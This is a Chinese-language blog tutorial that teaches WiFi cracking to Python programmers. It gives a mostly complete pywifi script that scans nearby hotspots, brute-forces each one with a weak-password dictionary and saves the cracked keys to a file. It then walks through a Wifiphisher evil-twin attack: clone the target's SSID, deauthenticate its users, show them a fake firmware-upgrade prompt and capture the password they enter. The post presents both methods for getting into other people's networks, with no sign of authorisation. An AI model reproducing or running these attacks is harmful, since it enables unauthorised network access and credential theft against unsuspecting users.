WIFI破解,Python程序员必学技能
WIFI已经普及,对于Python程序员来说,没有网络也不用担心!我将教你一招,如何从图片中提取Python脚本代码。只需将图片发送至手机QQ并长按后点击识别图片中的汉字。如果你还不知道这个技巧,赶紧试一试吧,它能大大减少我们的工作量。
想要进行WIFI破解,Python和字典是必不可少的。热点加弱口令也是关键。你可以自己精心制作字典,字典越强大,你能破解的WIFI就越多。后面就不再赘述。
我将提供两种方法,一般人学会其中一种即可。
方法一
环境准备
- Python 2.7
- pywifi模块
- 字典
- 清除系统中的任何wifi连接记录
导入模块
这里只需要导入三个模块:pywifi、time和sys。
from pywifi import *
import time
import sys
字典准备
这里提供了一个随机生成的wifi弱口令TOP10的示例字典。
keys = [
"12345678",
"1234567898888888",
"1234567890000000",
"8765432166668888",
"1122334414725836",
"9111111111"
]
配置扫描器
推荐将扫描时长设置在15-20秒之间,测试时长可以自定义。考虑到认证速度和距离的关系,我一般将测试时长设置为15秒左右,再长也没有意义。毕竟即使破解成功,如果信号不好,也无法连接到热点。
# 扫描时长
scantimes = 3
# 单个密码测试延迟
testtimes = 15
# 结果文件保存路径
files = "TestRes.txt"
# 实例化一个pywifi对象
wifi = PyWiFi()
# 选择一个网卡并赋值给iface
iface = wifi.interfaces()[0]
# 通过iface进行一个时长为scantimes的扫描并获取附近的热点基础配置
scanres = scans(iface, scantimes)
# 统计附近被发现的热点数量
nums = len(scanres)
print("|SCAN GET %s" % nums)
print("%s%-*s| %-*s| %-*s| %-*s | %-*s | %-*s %*s %s" % (
"-" * 70, 6, "WIFIID", 18, "SSID OR BSSID", 2, "N", 4, "time", 7, "signal", 10, "KEYNUM", 10, "KEY", "=" * 70))
# 将每一个热点信息逐一进行测试
for i, x in enumerate(scanres):
# 测试完毕后,将成功的结果存储到files中
res = test(nums - i, iface, x, keys, output, testtimes)
if res:
open(files, "a").write(res)
扫描周围热点
def scans(face, timeout):
# 开始扫描
face.scan()
time.sleep(timeout)
# 在若干秒后获取扫描结果
return face.scan_results()
热点测试
这里推荐将扫描过程的数据存入数据库,以防止重复扫描,并且更加直观。
def test(i, face, x, key, stu, ts):
# 显示对应网络名称,考虑到部分中文名字显示bssid
showID = x.bssid if len(x.ssid) > len(x.bssid) else x.ssid
# 迭代字典并进行爆破
for n, k in enumerate(key):
x.key = k.strip()
# 移除所有热点配置
face.remove_all_network_profiles()
# 尝试连接封装好的目标
face.connect(face.add_network_profile(x))
# 初始化状态码,考虑到用0会发生一些逻辑错误
code = 10
t1 = time.time()
# 循环刷新状态,如果置为0则密码错误,如果超时则进行下一个
while code != 0:
time.sleep(0.1)
code = face.status()
now = time.time() - t1
if now > ts:
break
stu.write("%-*s| %-*s| %s |%*.2fs| %-*s | %-*s %*s" % (
6, i, 18, showID, code, 5, now, 7, x.signal, 10, len(key) - n, 10, k.replace("", "")))
stu.flush()
if code == 4:
face.disconnect()
return "%-*s| %s | %*s |%*s" % (20, x.ssid, x.bssid, 3, x.signal, 15, k)
return False
方法二
目前常见的Wi-Fi加密方式有WEP、WPA2和WPS,不过破解WPA2的方法耗时较长,并且不适用于所有启用了WPS的接入点。而今天我要介绍的方法更加省时省力。
主要原理
创建一个伪AP来进行”狸猫换太子”的操作,然后撤销用户AP的授权,通知用户需要进行”固件升级”,并要求重新验证密码。由于你的伪AP具有相同的SSID,用户就会”交代”密码。
这样你就能获取用户的密码,并且让用户将你的伪AP作为自己的接入点。而对方一无所知。
之前也有类似的脚本,例如Airsnarf,但是我们这次使用的是Wifiphisher,这个经过优化的自动化脚本比前者更加方便。
要完成上述操作,你需要准备Kali Linux和两个无线适配器,其中一个必须支持数据包注入。
第一步:下载Wifiphisher
你可以下载已解压的Wifiphisher源代码,也可以复制GitHub上的代码。
第二步:导航到该目录
导航到Wifiphisher解压目录的路径,例如/wifiphisherWi-Fi1.1。
当你看到目录内容时,你会看到wifiphisher.py的脚本。
第三步:运行脚本
运行以下脚本:
kali > python wifiphisher.py
注意:如果是第一次运行脚本,可能会提示安装hostapd,键入Y继续安装即可。安装完成后,再次运行Wifiphisher脚本。
这次将会运行8080和43端口的Web服务器,并开始搜索附近的Wi-Fi网络。
第四步:获取密码
按下Ctrl+C,然后键入要复制的AP数,例如我们选择12。
回车后,Wifiphisher会显示如下结果,包括正在使用的界面,以及被攻击和复制的AP所在的SSID。
目标用户已经取消验证他们的AP,随后会出现一个固件升级的信息,请求他们重新验证。一旦重新验证,他们接入的就是伪接入点了。
当用户输入密码时,它会通过Wifiphisher的开放终端传输给你,然后他们就会像平常一样上网,毫不知情。